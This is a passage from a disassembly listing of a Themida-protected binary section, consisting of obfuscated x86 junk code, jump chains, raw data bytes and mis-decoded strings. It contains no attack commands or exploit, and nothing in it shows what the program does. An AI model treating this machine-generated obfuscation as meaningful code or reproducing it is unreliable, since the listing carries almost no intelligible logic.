		dd 34CA8166h, 0F2816629h, 6650ED37h, 5066D089h,	0BA665266h
		dd 166791Ch, 0E9022454h, 80BEh
; ---------------------------------------------------------------------------

loc_547860:				; CODE XREF: Themida_:0054D8FFj
		pop	ebp
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_546FF4
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	45DCh
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_55104F
; ---------------------------------------------------------------------------

loc_5478C7:				; CODE XREF: Themida_:005461F7j
		pop	edx
		add	ecx, esi
		pop	esi
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E187
; ---------------------------------------------------------------------------
		db 5Ch
		dd 4B30F66h, 2BE99C24h,	20FFFFD2h, 0CE805BDEh, 0A3F680B3h
		dd 148BF730h, 0E7895724h, 4C781h, 0C7810000h, 4, 5605E9h
		dd 2BF00h, 0FE010000h, 2434875Fh, 2404205Ch, 4E5EE99Ch
		dd 4870000h, 0DFF75C24h, 0C781D7F7h, 12354B5Bh,	535FF889h
		dd 0D989C389h, 24048B5Bh, 9632E9h, 24148B00h, 0E9E18951h
		dd 2328h, 0D62B5D2Dh, 53E82975h, 76199DBBh, 0C0F3811Ah
		dd 16FA032h, 8865E9D8h,	0C4830000h, 0F2815A04h,	6B73CD2h
		dd 9199E9h, 0C3E95F00h,	81FFFFDAh, 4C6h, 4C68300h, 5C243487h
		dd 3D0FA5BBh, 0FFFB3154h, 0F4E92434h, 21000018h, 240C8BCFh
		dd 4C481h, 0E9520000h, 8C44h, 45EEFAB8h, 0E9C601EAh, 0FFFFF676h
; ---------------------------------------------------------------------------

loc_5479B0:				; CODE XREF: Themida_:00546765j
		mov	edi, 4
		add	ebx, edi
		jmp	loc_548B43
; ---------------------------------------------------------------------------
		dd 23E9F801h, 6600004Fh, 8324048Bh, 1C8904ECh, 685B5424h
		dd 0D1Dh, 89241C89h, 4C381E3h, 52000000h, 4BAh,	5AD32900h
		dd 0EC54E953h, 48FFFFFh, 24248B24h, 0E9241C89h,	0FFFFF94Ch
		dd 0FE99C50h, 0ADFFFFD1h, 0FE61512Dh, 6DF32D74h, 0D829477Ch
		dd 4DCCE9h, 1587BE00h, 4DE90AEBh, 5300003Eh, 0A73AE6BBh
		dd 32D2E97Ah, 525C0000h, 0C281E289h, 4,	4EC81h,	0C890000h
		dd 0F433E924h, 0E950FFFFh, 6616h, 405E089h, 5000000h, 4
		dd 0E9240487h, 7FBDh, 8704C083h, 685C2404h, 0
		dd 0FF241C29h, 815B2434h, 4C4h,	0FBEB8100h, 0E961E377h
		dd 368Fh, 88868h, 24248900h, 4240483h, 239E95Dh, 0D7F70000h
		dd 5464C781h, 0FD0116E2h, 83243C8Bh, 0BA5204C4h, 0FED52E2h
		dd 52DEEA81h, 0D5010FEDh, 0FFE5FFE9h, 48B66FFh,	88C6824h
		dd 47E90000h, 8800007Fh, 0F58859EEh, 1289E9h, 37C8B900h
		dd 0E9C17F65h, 0ACF18104h, 4111AE78h, 6686C981h, 0E9816A5Fh
		dd 57333082h, 3F51F181h, 0CA01272Ch, 2C28359h, 2474FF52h
		dd 748AE904h, 30AC0000h, 7A6853D8h, 89000044h, 89B1240Ch
		dd 8872B450h, 0CF3058E7h, 0E9F83059h, 0FFFFFC31h, 0E9243487h
		dd 0FFFFF40Ch
; ---------------------------------------------------------------------------

loc_547B24:				; CODE XREF: Themida_:005494A6j
		mov	eax, 48A43229h
		mov	ecx, eax
		pop	eax
		shl	ecx, 7
		sub	ecx, 416975B9h
		push	eax
		jmp	loc_54E2C4
; ---------------------------------------------------------------------------
		db 87h
		dd 10E9240Ch, 6600007Ah
		db 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, 0F4h
		sub	al, 0FFh
		push	edx
		jmp	loc_548709
; ---------------------------------------------------------------------------

loc_547B65:				; CODE XREF: Themida_:0054E182j
		sub	edx, eax
		jmp	loc_550F12
; ---------------------------------------------------------------------------
		dd 0CFA0E95Eh, 0C480FFFFh, 8051E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547B7A:				; CODE XREF: Themida_:00550AADj
		add	esi, 4
		push	ecx
		mov	ecx, 4
		push	ecx
		mov	ecx, 5D306D0Eh
		jmp	loc_54AB00
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348704C6h, 6FE95C24h, 89FFFFCFh, 4C281E2h
		dd 81000000h, 2C2h, 24143300h, 33241431h, 248B2414h, 0B4505224h
		dd 0EFB6F3h, 0CEFE58E6h, 28B5B050h, 0EEC058C6h,	0FE526603h
		dd 66012444h, 0DA60E95Ah, 4BEFFFFh, 1000000h, 3C875EF7h
		dd 39D6E924h, 0BE560000h, 35E207F9h, 34FFF029h,	89525E24h
		dd 4C281E2h, 83000000h,	0E4E904C2h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547C0B:				; CODE XREF: Themida_:0054FF14j
		mov	edx, [esp]
		add	esp, 4
		neg	eax
		xor	eax, 52293E20h
		add	eax, 6C8D01C9h
		add	eax, 0F8EE20A3h
		jmp	loc_54BD66
; ---------------------------------------------------------------------------
		db 89h
		dd 74E92404h, 57000030h, 0D679168h, 7C315F43h, 93E90424h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547C3F:				; CODE XREF: Themida_:00550470j
		push	eax
		jmp	loc_545E63
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 81000000h, 4EAh, 24148700h, 243C895Ch, 0A1685253h, 5A4A0B3Bh
		dd 4FD1EA81h, 0EBE970DCh
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547C6B:				; CODE XREF: Themida_:0054BF05j
		mov	ebx, [esp]
		jmp	loc_550DD1
; ---------------------------------------------------------------------------

loc_547C73:				; CODE XREF: Themida_:0054D56Aj
		shr	edi, 6
		add	edi, 0FF977F84h
		add	eax, edi
		pop	edi
		jmp	loc_54F039
; ---------------------------------------------------------------------------

loc_547C84:				; CODE XREF: Themida_:0054C464j
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 49832732h
		sub	ebx, edx
		pop	edx
		sub	ebx, 53CD51EDh
		add	ebx, eax
		add	ebx, 53CD51EDh
		push	edx
		push	edi
		mov	edi, 49832732h
		mov	edx, edi
		pop	edi
		add	ebx, edx
		pop	edx
		push	ecx
		mov	ecx, 1E245D50h
		and	ecx, 54F12E18h
		sub	ecx, 0FFFFFFFFh
		push	esi
		mov	esi, 34B44F68h
		jmp	loc_54CBE7
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 0AFE95200h, 1000092h, 0EA835BDAh, 24148704h, 8924248Bh
		dd 0B8502414h, 5FD495EAh, 5758C289h, 77531DBFh,	5FF80108h
		dd 1D2DD001h, 8B087753h, 0DF682414h, 89000060h,	56E9242Ch
		dd 6600004Bh, 8301B353h, 48904ECh, 0DA885224h, 0EEE9D488h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_547D23:				; CODE XREF: Themida_:0054D951j
		add	esp, 4
		sub	bl, 6Ch
		push	ecx
		mov	ch, 20h
		sub	bl, ch
		pop	ecx
		sub	bl, al
		push	cx
		push	ebx
		mov	bl, 0D9h
		mov	cl, 0F9h
		sub	cl, bl
		pop	ebx
		jmp	loc_54E991
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFD094E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547D49:				; CODE XREF: Themida_:0054F4EAj
		sub	bl, dh
		add	bl, 0B1h
		mov	edx, [esp]
		jmp	loc_54CF17
; ---------------------------------------------------------------------------

loc_547D56:				; CODE XREF: Themida_:0054D212j
		add	ebp, 4
		jmp	loc_54CC1F
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 1Ch
		dd 4C48324h, 4C381h, 0C3830000h, 241C8704h, 5824248Bh
		dd 606BBB53h, 0EBD13245h, 8102EBC1h, 5F0960C3h,	81DBF75Ch
		dd 0FFFFFFEBh, 772BE9FFh, 3C8B0000h, 4C48324h, 3DC6E9h
		dd 0A8EE8000h, 0CEE9F328h, 0BD000002h, 5A79116Eh, 0D814E957h
		dd 0D0F7FFFFh, 471FDC35h, 5C35483Dh, 31B96DB7h,	684F58C7h
		dd 55B7h, 0FFF87CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_547DD1:				; CODE XREF: Themida_:00547EDBj
		mov	[esp], ecx
		jmp	loc_54E6EE
; ---------------------------------------------------------------------------

loc_547DD9:				; CODE XREF: Themida_:0054B30Fj
		xchg	ebx, [esp]
		jmp	loc_54F9EE
; ---------------------------------------------------------------------------

loc_547DE1:				; CODE XREF: Themida_:0054B170j
		sub	ebp, 56975F8Ch
		push	eax
		mov	eax, 14F5A4E9h
		add	ebp, eax
		jmp	loc_54B89D
; ---------------------------------------------------------------------------

loc_547DF4:				; CODE XREF: Themida_:0054FDC8j
		push	edx
		mov	dl, 16h
		sub	dl, 0D7h
		or	dl, 6
		push	ax
		mov	al, 42h
		or	dl, al
		pop	ax
		push	ax
		mov	ah, 0DDh
		sub	dl, ah
		pop	ax
		shr	dl, 5
		add	dl, 0C8h
		add	al, 14h
		jmp	loc_545012
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 256BE9h
		db 0
; ---------------------------------------------------------------------------

loc_547E21:				; CODE XREF: Themida_:0054B7F8j
		xor	edx, esi
		jmp	loc_548C75
; ---------------------------------------------------------------------------
		dd 0B0D9B252h, 5AD0309Eh, 0E8C07404h, 0E95D0405h, 0FFFFF4E2h
; ---------------------------------------------------------------------------

loc_547E3C:				; CODE XREF: Themida_:005500B1j
		add	bl, 26h
		jmp	loc_54D9CA
; ---------------------------------------------------------------------------
		dd 68h,	240C2900h, 2E1C159h, 4C38E181h,	0F1810E5Dh, 1A177622h
		dd 2EC1E981h, 0CB01C8DBh, 43BE5659h, 1966AD5h, 33FFE9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547E72:				; CODE XREF: Themida_:0054AEC1j
		sub	ebx, 3FA83467h
		xor	ebx, 6C25B4FEh
		xor	esi, ebx
		pop	ebx
		jmp	loc_545F2E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 8B95E902h, 56590000h, 0E9555E54h, 167Fh, 4EC81h, 3C890000h
		dd 4BBD5524h, 0BF1DA12Ah, 1DA12A4Fh, 5FDFE9h
		db 0
; ---------------------------------------------------------------------------

loc_547EB1:				; CODE XREF: Themida_:0054A034j
		add	esp, 4
		push	2A9Fh
		mov	[esp], edx
		push	edi
		mov	edi, 6E920898h
		shr	edi, 6
		shl	edi, 1
		push	ebp
		mov	ebp, 40CF4602h
		add	ebp, 0E9CE18E4h
		add	edi, ebp
		pop	ebp
		push	5AA1h
		jmp	loc_547DD1
; ---------------------------------------------------------------------------
		dd 241C8B66h, 2C481h, 50660000h, 0C32826B0h, 52515866h
		dd 0DAF62CB2h, 0B2AE9h,	1BD00h,	4DE90000h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_547F07:				; CODE XREF: Themida_:0054500Dj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4BED6DFFh
		jmp	loc_549706
; ---------------------------------------------------------------------------
		dw 8950h
		dd 405E0h, 0C0830000h, 24048704h, 2BB535Ch, 1000000h, 2FCEE9DAh
		dd 0EA810000h, 0B8CEBE7Fh, 148BD131h, 4C48324h,	3A32E9h
		db 0
; ---------------------------------------------------------------------------

loc_547F49:				; CODE XREF: Themida_:0054B335j
		dec	dh
		push	ebx
		push	edx
		mov	dh, 2Bh
		mov	bh, 65h
		sub	bh, dh
		pop	edx
		add	bh, 82h
		inc	bh
		sub	bh, 0A4h
		add	dh, 0E6h
		jmp	loc_545854
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF00100h, 355268h, 24148900h,	55CFE9h, 5EAC100h
		dd 5FEAC281h, 1E93752h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_547F87:				; CODE XREF: Themida_:00545A3Dj
		not	eax
		push	ecx
		mov	ecx, 3D573853h
		xor	ecx, 732A0421h
		and	eax, ecx
		pop	ecx
		jmp	loc_54ABDD
; ---------------------------------------------------------------------------
		db 1, 74h, 24h
		dd 24348B04h, 0E904C483h, 0FFFFCB66h, 4C181h, 0C1830000h
		dd 240C8704h, 3EDC15Ch,	73B7E950h, 8B660000h, 0EC81240Ch
		dd 4, 89243489h, 78EAE9E6h, 58540000h, 405h, 0E9575100h
		dd 25Ch
; ---------------------------------------------------------------------------

loc_547FE4:				; CODE XREF: Themida_:0054CAA3j
		sub	al, dl
		jmp	loc_54CCF3
; ---------------------------------------------------------------------------
		db 58h
		dd 0E95AD001h, 1402h, 1C181h, 0BE560000h, 1F6B7387h, 34FFF101h
		dd 5425E924h, 34890000h, 4BE24h, 0F7010000h, 243C875Eh
		dd 0C124248Bh, 7A6806E9h, 89000031h, 34FF241Ch
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_549B55
; ---------------------------------------------------------------------------
		dw 0DF31h
		dd 83241C8Bh, 7C0104C4h, 5AE90424h, 87000064h, 835C242Ch
		dd 2C8904ECh, 4EC8324h,	0B9240C89h, 10765050h, 0C29E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54805E:				; CODE XREF: Themida_:00550CB7j
		mov	al, 0CFh
		inc	al
		push	bx
		push	eax
		mov	al, 0ECh
		not	al
		sub	al, 0C6h
		mov	bl, al
		pop	eax
		xor	al, bl
		mov	bx, [esp]
		jmp	loc_54F1E5
; ---------------------------------------------------------------------------
		db 5Ah,	0FEh, 0C3h
		dd 34E8E9h
		db 0
; ---------------------------------------------------------------------------

loc_548081:				; CODE XREF: Themida_:0054F5C8j
		xor	edi, [esp]
		jmp	loc_54E1C5
; ---------------------------------------------------------------------------

loc_548089:				; CODE XREF: Themida_:00550FC1j
		sub	edi, 612C3922h
		sub	edi, 7C8D6C50h
		jmp	loc_54E61D
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 67358B0h, 48D4E9h, 9DBD5500h, 2D55B330h, 5692CA1h, 63E9E829h
		dd 8B00008Dh, 0C4832414h, 0FDE95304h, 6600004Fh, 9C241CF7h
		dd 0FFCA45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5480CD:				; CODE XREF: Themida_:0054B214j
		not	ebx
		xchg	ebx, [esp]
		pop	ebp
		not	ebp
		shl	ebp, 4
		push	edx
		jmp	loc_548192
; ---------------------------------------------------------------------------

loc_5480DE:				; CODE XREF: Themida_:0054D7A9j
		pop	ebx
		add	esp, 4
		jmp	loc_544F4D
; ---------------------------------------------------------------------------

loc_5480EA:				; CODE XREF: Themida_:0054DB0Dj
		shl	edi, 4
		jmp	loc_54A9CD
; ---------------------------------------------------------------------------
		dw 0D730h
		dd 66F8285Ah, 2831045Bh, 0B60F58C3h, 48F66C0h, 0CA08E987h
		dd 5051FFFFh, 0D179EDB8h, 4CBD5523h, 811A8555h,	453FF1E5h
		dd 0F2E94D2Eh, 81000079h, 516E96EFh, 5FFE0135h,	4BD55h
		dd 0C6810000h, 5A2010C5h, 0EE81EE01h, 5A2010C5h, 0EAD2E95Dh
		dd 2D5EFFFFh, 243225BBh, 5A2434FFh, 4C481h, 0DBE90000h
		dd 59000009h, 5130E9h, 4111BD00h, 15BE6A9Eh, 296A9E41h
		dd 0F1295DEEh, 240C875Eh, 578AE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54817A:				; CODE XREF: Themida_:0054A28Aj
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_54DFD9
; ---------------------------------------------------------------------------

loc_548185:				; CODE XREF: Themida_:0054F6B7j
		pop	esp
		jmp	loc_5506A5
; ---------------------------------------------------------------------------

loc_54818B:				; CODE XREF: Themida_:005463CEj
		and	eax, esi
		jmp	loc_54B01A
; ---------------------------------------------------------------------------

loc_548192:				; CODE XREF: Themida_:005480D9j
		mov	edx, 52605674h
		xor	edx, 60387EECh
		sub	edx, 2375564Fh
		not	edx
		not	edx
		xor	edx, 0EA7AC4C6h
		jmp	loc_5474F0
; ---------------------------------------------------------------------------
		dw 0F301h
		dd offset byte_5959E9
		dd 8BDE3000h, 8953241Ch, 0BBBE56E3h, 0C1099042h, 0F68104EEh
		dd 2F1F3EAAh, 409AE9h
		db 0
; ---------------------------------------------------------------------------

loc_5481D5:				; CODE XREF: Themida_:0054C563j
		push	ebp
		jmp	loc_5505BA
; ---------------------------------------------------------------------------
aBQoxQsM	db '│еО▌ЕаQИщM',0
		dw 0B000h
aKSp0		db 'K,╥,уИ╞0',0
		align 2
		dw 0B850h
		dd 1BAF5B7Fh, 9F2DD8F7h, 52549A37h, 42D22BAh, 33C2817Bh
		dd 1FEE6C1h, 0C2015AD0h, 582434FFh, 8104C483h, 0FFFFFFC2h
		dd 179F68FFh, 4890000h,	0B3B95124h, 0B80C7521h,	27BA8EE1h
		dd 0C0E9C829h, 5C000072h, 0E9241489h, 0FFFFECE1h, 4BFh
		dd 23F3E900h, 89520000h, 4BD55E2h, 1000000h, 24D4E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54825A:				; CODE XREF: Themida_:00550ECCj
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54B47B
; ---------------------------------------------------------------------------
		dd 56240C89h, 242C8155h, 7F2746B8h, 0EA63E95Eh,	0E951FFFFh
		dd 8BABh, 0C0FE1334h, 8EFBE9h, 4BA5200h, 1000000h, 68685AD7h
		dd 89000013h, 0BB53240Ch, 15C24ED6h, 4EDABB53h,	0D98915C2h
		dd 3EF4E95Bh, 4BF0000h,	0E9000000h, 1CFCh, 24248B66h, 2292E9h
		dd 240C8900h, 366326B9h, 0FFC80105h, 0E9592434h, 0FFFFEBC0h
; ---------------------------------------------------------------------------

loc_5482DC:				; CODE XREF: Themida_:0054BC00j
		add	esi, 0AE3BF7B0h
		mov	ebx, esi
		pop	esi
		and	ebx, 79296143h
		dec	ebx
		jmp	loc_54ABAC
; ---------------------------------------------------------------------------
		db 0BEh, 57h, 2
aB?5nbESFfsmv	db 'л',8,'│н?{%5N│н┘>Х',0Ah
		db 'FFИmV',0
		align 2

loc_54830A:				; CODE XREF: Themida_:00545A6Cj
		mov	edx, 28h
		sub	edx, 3C5F76B7h
		add	edx, edi
		add	edx, 3C5F76B7h
		jmp	loc_54C4EF
; ---------------------------------------------------------------------------
		dw 5954h
		dd 4C181h, 0C1810000h, 4, 2474FF51h, 48F5904h, 0D3E95C24h
		dd 0B8FFFFC7h, 4, 48BC701h, 4C48324h, 0E9243C87h, 0FFFFD305h
		dd 34FFE921h, 0C4815D24h, 4, 8AE9h, 81595400h, 4C1h, 4C18300h
		dd 604BE9h, 5EF03100h, 0F3E9C331h, 8B000015h, 0AB682414h
		dd 89000044h, 0E2892414h, 4C281h, 0DBE90000h, 5AFFFFDBh
		dd 7F49E281h, 0DAF702B2h, 0B3BE564Ah, 2176C367h, 5E54E9F2h
		dd 4890000h, 2B9EB824h,	8EE95CCBh
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5483BB:				; CODE XREF: Themida_:0054E642j
		pop	edx
		xchg	edi, [esp]
		jmp	loc_54BC14
; ---------------------------------------------------------------------------
aXsE		db 'XИ|┘',0
		align 2

loc_5483CA:				; CODE XREF: Themida_:0054CC8Aj
		push	1445h
		jmp	loc_54DDB7
; ---------------------------------------------------------------------------
		dd 0E92C77FFh, 0FFFFC736h, 2474FF50h, 2434FF04h, 8324048Bh
		dd 46E904C4h, 0C1FFFFDEh, 0C00900E9h, 49BC840Fh, 0EC830000h
		dd 241C8904h, 5AEABF57h, 39E93D20h, 8100008Ch, 0FD4339E7h
		dd 0DBEF8115h, 89BC6756h, 0E8315FFDh, 5D2434FFh, 515B5453h
		dd 2A3BE956h, 0E3D10000h, 45D7CB81h, 0C3817512h, 8A6DBA2Ah
		dd 0FF1C5F09h, 1C8B2434h, 0E2895224h, 4BE56h, 0F2010000h
		dd 4C2815Eh, 52000000h,	42474FFh, 24048F5Ah, 5D54555Ch
		dd 4C581h, 0C5830000h, 74FF5504h, 0E95D0424h, 38ADh, 875FFB01h
		dd 0D8E9241Ch, 0FFFFFFE2h, 669D1C77h, 2414D259h, 0C684E99Ch
		dd 0CF81FFFFh, 72D1FF5h, 35D4E9h, 5EF00100h, 5F15BE56h
		dd 0DEF702C6h, 0A712F681h, 6FE9C8DBh, 0B2FFFFDBh, 51B050EAh
		dd 0E1E98424h, 83000073h, 0FAE902C4h, 8300006Dh, 0C581FFEDh
		dd 4E10CFFh, 5E87E581h,	814D64FCh, 0FBE270EDh, 5DE909C8h
		dd 1D00E981h, 0CE89DD82h, 4EEC159h, 8904EC83h, 6DBA2414h
		dd 0E947C667h, 5338h, 24048F54h, 3624E9h, 4C58100h, 83000000h
		dd 2C8704C5h, 0C3315C24h, 0E930FF66h, 0FFFFC5FAh, 50240C8Bh
		dd 20EE68h, 24248900h, 4240483h, 4BB5358h, 1000000h, 0C0835BD8h
		dd 24048704h, 0E9C3885Ch, 78B0h, 0B25E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548546:				; CODE XREF: Themida_:0054E347j
		mov	[esp], esp
		jmp	loc_54E8A5
; ---------------------------------------------------------------------------

loc_54854E:				; CODE XREF: Themida_:00550B70j
		push	esi
		mov	esi, 6A250B7Ah
		not	esi
		add	esi, 58E15AF8h
		xor	esi, 0FCD807C7h
		not	esi
		or	esi, 73E053BDh
		neg	esi
		push	eax
		mov	eax, 14FB74CFh
		sub	eax, 0C635F1h
		sub	eax, 69DE17D2h
		add	eax, 75F23529h
		dec	eax
		sub	eax, 0C8A0A6Dh
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	eax, esi
		jmp	loc_5496FA
; ---------------------------------------------------------------------------

loc_548599:				; CODE XREF: Themida_:0054FC40j
		and	esi, 1208753Dh
		push	eax
		mov	eax, 7E635D3Ch
		jmp	loc_5461BC
; ---------------------------------------------------------------------------
		dw 1CB9h
		dd 89000000h, 0C2E9CBh,	52560000h, 0E51BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5485BE:				; CODE XREF: Themida_:0054D408j
		jnz	loc_549BC2
		push	1
		push	dword ptr [esp]
		pop	edx
		push	242Fh
		mov	[esp], edi
		push	esp
		jmp	loc_549B8F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_545A71
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 240C8900h, 4B9h, 59CF8900h, 0A833402Dh, 69A1E942h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54860A:				; CODE XREF: Themida_:0054DD00j
		mov	[esp], ebp
		mov	ebp, 0C164A32h
		jmp	loc_549851
; ---------------------------------------------------------------------------
		db 81h
		dd 0ED5628C3h, 4BB85032h, 8118F23Dh, 0DF629CEBh, 0C7D4E96Ch
		dd 0E089FFFFh, 519CE9h,	0F72CAC00h, 0D800B504h,	8904EC83h
		dd 9EE92414h, 89000064h, 212E9E2h, 34870000h, 1C335C24h
		dd 1AB3E924h, 0E3810000h, 9776B1Eh, 1109EB81h, 0C2E9A460h
		dd 68000026h, 3110h, 0E9243C89h, 81B4h,	4EC8359h, 0FFCBBAE9h
		dd 2474FFFFh, 24048B04h, 8F04C483h, 0F5C2404h, 9C51C8AFh
		dd 0FFC479E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548699:				; CODE XREF: Themida_:005471FFj
		push	7F29h
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		mov	bh, ah
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4], bh
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		push	0B3D1DB9h
		jmp	loc_54A33C
; ---------------------------------------------------------------------------

loc_5486D2:				; CODE XREF: Themida_:0054CD57j
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5503A2
; ---------------------------------------------------------------------------
		dw 0E9BAh
		dd 81954DB3h, 0D12F2DE9h, 57D10132h, 473E9h
		db 0
; ---------------------------------------------------------------------------

loc_548709:				; CODE XREF: Themida_:00547B60j
		mov	dl, 94h
		jmp	loc_548D74
; ---------------------------------------------------------------------------
		dd 2414875Ch, 2414895Ch, 0FFC3F5E9h, 240C8BFFh,	8704C483h
		dd 0FF5C2404h, 34FF2434h, 5EE95824h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548733:				; CODE XREF: Themida_:005474B9j
		xor	esi, 5BF60302h
		jmp	loc_54EA8C
; ---------------------------------------------------------------------------
		dw 665Ah
		dd 0FB151h, 285966CBh, 0FEB80C3h, 4E92E9h, 0B0686600h
		dd 0C89661Ch, 0B60F6624h, 5B39E9C8h, 0CE870000h, 0FFE769E9h
		dd 0E9C5FEFFh, 818Ch, 5BA3E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548776:				; CODE XREF: Themida_:0054F5FDj
		mov	[esp], eax
		push	esi
		mov	esi, esp
		jmp	loc_54564B
; ---------------------------------------------------------------------------

loc_548781:				; CODE XREF: Themida_:00546B64j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5452EF
; ---------------------------------------------------------------------------
		dw 0DB8h
		dd 1C1959Eh, 7521E9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5487AA:				; CODE XREF: Themida_:0054F788j
		mov	ebx, 321E0C81h
		xor	ebx, 321E0C85h
		jmp	loc_54A898
; ---------------------------------------------------------------------------
a0S		db '0щИч ',0
		dd 0C2815A00h, 4, 75C5E9h, 4C68100h, 81000000h,	4EEh, 24348700h
		dd 240C895Ch, 0FFC480E9h, 95E95BFFh, 8700003Dh,	815C241Ch
		dd 4C2h, 3FA26800h, 0C890000h, 4B924h, 0CA010000h, 4C2FE9h
		db 0
; ---------------------------------------------------------------------------

loc_548809:				; CODE XREF: Themida_:005509FCj
		xor	eax, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	esi
		push	1DF5h
		mov	[esp], edi
		push	496B1057h
		jmp	loc_54F0F3
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 14h
		dd 4C48124h, 51000000h,	0C800F7B1h, 17B75359h, 5B2FE9h
		dd 58C38900h, 1502F381h, 0D8014FC7h, 1B13E9h, 0E9F30000h
		dd 0FFFFE4B2h, 4C281h, 0B9510000h, 4, 2F0EE9h, 6B36B900h
		dd 50E97BEBh, 8100000Dh, 4C1h, 0FE95600h, 89000045h, 4C781E7h
		dd 81000000h, 4EFh, 243C3300h, 33243C31h, 0E95C243Ch, 41Bh
		dd 514DBD55h, 94B85473h, 5754788Ah, 16722DBFh, 0E9F82915h
		dd 0FFFFCF31h, 7C1C68h,	243C8900h, 0A9440FBFh, 5FFB2939h
		dd 83FDE9h
		db 0
; ---------------------------------------------------------------------------

loc_5488D1:				; CODE XREF: Themida_:005473A7j
		neg	eax
		dec	eax
		jmp	loc_54D783
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0A6h
		dd 81335B13h, 0CD2596E6h, 0F5BA525Dh, 3111FE22h, 8568E9D6h
		dd 0E9570000h, 6EEEh
; ---------------------------------------------------------------------------

loc_5488F8:				; CODE XREF: Themida_:00545494j
		sub	eax, 7F6F7D97h
		jmp	loc_548E63
; ---------------------------------------------------------------------------

loc_548902:				; CODE XREF: Themida_:00544C30j
		jmp	loc_544B12
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 3C8904ECh, 815F5424h, 4ECh, 23C5E900h, 0EA810000h
		dd 46A2E5D4h, 0E95AD709h, 3D8Ah, 0E939B353h, 64FCh, 0DC4F880Dh
		dd 75BF5738h, 815F4612h, 0C102B2C7h, 8E7C129h, 0D9F7CF87h
		dd 0C781CF87h, 75AA234Ah, 5AC7814Fh, 21E31E51h,	0DCCBE9F8h
		dd 0CA81FFFFh, 28831406h, 0DCE9DAF7h, 66000083h, 57240C8Bh
		dd 2434FF54h, 8104E95Fh, 14310000h, 24143324h, 241C895Ch
		dd 0F4CE954h, 81660000h, 0E93258C3h, 0FFFFE897h
; ---------------------------------------------------------------------------

loc_548998:				; CODE XREF: Themida_:0054A31Bj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_550475
; ---------------------------------------------------------------------------

loc_5489A4:				; CODE XREF: Themida_:0054E99Dj
		mov	ch, 4Eh
		sub	ch, dh
		pop	edx
		add	bl, 1Ah
		sub	bl, ch
		jmp	loc_549626
